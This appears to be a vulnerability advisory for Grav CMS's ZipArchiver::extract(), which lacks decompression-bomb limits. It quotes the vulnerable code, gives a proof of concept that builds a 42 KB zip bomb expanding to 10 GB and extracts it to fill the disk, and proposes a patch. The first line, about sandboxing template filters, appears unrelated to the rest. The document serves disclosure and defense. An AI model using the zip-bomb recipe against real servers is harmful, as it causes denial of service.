Sandbox-wide: make jsonencode/printr/yamlencode/string refuse non-allow-listed objects when $env->isSandboxed() (mirror the Closure-only guard Twig applies to map/filter/reduce). Closes the class for page/pages/uri/user too.
Summary ZipArchiver::extract() lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.
---
Details
Vulnerable code - system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58:
php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archivefile);
if ($archive === true) { Folder::create($destination);
// Only guards against Zip Slip (path traversal) for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name !== false && !$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); } }
// Extracts EVERYTHING — no size, count, or depth limit if (!$zip->extractTo($destination)) { ... }
$zip->close(); return $this; } }
What's missing vs Installer::unZip():
| Protection | Installer::unZip() | ZipArchiver::extract() | |-----------|---------------------|------------------------| | Zip Slip guard | ✅ | ✅ | | Max uncompressed size | ✅ (1 GiB) | ❌ | | Max file count | ✅ (50000) | ❌ | | Max nesting depth | ✅ (48) | ❌ | | Pre-extraction validation | ✅ All entries validated first | ❌ Extracts immediately |
The fix applied to Installer (GHSA-2vcx, Installer.php:178-269):
php // GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk. $limits = $this->archiveLimits(); $size = $count = $depth = 0;
for ($i = 0; $i < $numFiles; $i++) { $entryName = $zip->getNameIndex($i); // Check size, count, and depth BEFORE extracting anything if ($limits['maxSize'] > 0) { $size += $entry['size']; } if ($limits['maxDepth'] > 0) { ... } if ($limits['maxFiles'] > 0) { $count++; } // Reject if any limit exceeded } // Only now: $zip->extractTo($destination);
None of this validation exists in ZipArchiver::extract().
Reachability: ZipArchiver::extract() is a public method on a concrete class, accessible via the Archiver::create('zip') factory. While no first-party Grav code currently calls extract() on a ZipArchiver instance, third-party plugins and custom code that use the Archiver abstraction for ZIP restoration will walk directly into this unprotected path.
---
Proof of Concept
Step 1 - Create a zip bomb
bash Create a 10 GB zip bomb (42 kB compressed) python3 -c " import zipfile, os z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIPDEFLATED) zeros = b'\x00' (1024 1024 1024) # 1 GB of zeros for i in range(10): z.writestr(f'file{i}.txt', zeros) z.close() " ls -lh /tmp/zipbomb.zip Output: 42K /tmp/zipbomb.zip → expands to 10 GB
Step 2 - Extract via ZipArchiver
php $archiver = Archiver::create('zip'); $archiver->setArchive('/tmp/zipbomb.zip'); $archiver->extract('/tmp/extracted'); // ← no limits, fills disk
The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).
---
Impact
Any code path that extracts a user-supplied ZIP archive through ZipArchiver::extract() will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.
---
Remediation
Apply the same archiveLimits() validation from Installer::unZip() to ZipArchiver::extract():
php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archivefile);
if ($archive === true) { Folder::create($destination);
// Apply the same archive limits as Installer::unZip() $limits = $this->archiveLimits(); $totalSize = 0; $totalFiles = 0;
for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name === false) continue;
// Zip Slip guard (existing) if (!$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); }
// Decompression bomb guards (NEW) $stat = $zip->statIndex($i); $totalSize += $stat['size'] ?? 0; $totalFiles++;
$depth = count(explode('/', trim($name, '/'))); if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) { $zip->close(); throw new RuntimeException('Archive exceeds max nesting depth'); } }
if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) { $zip->close(); throw new RuntimeException('Archive exceeds max uncompressed size'); } if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) { $zip->close(); throw new RuntimeException('Archive exceeds max file count'); }
if (!$zip->extractTo($destination)) { ... } $zip->close(); return $this; } }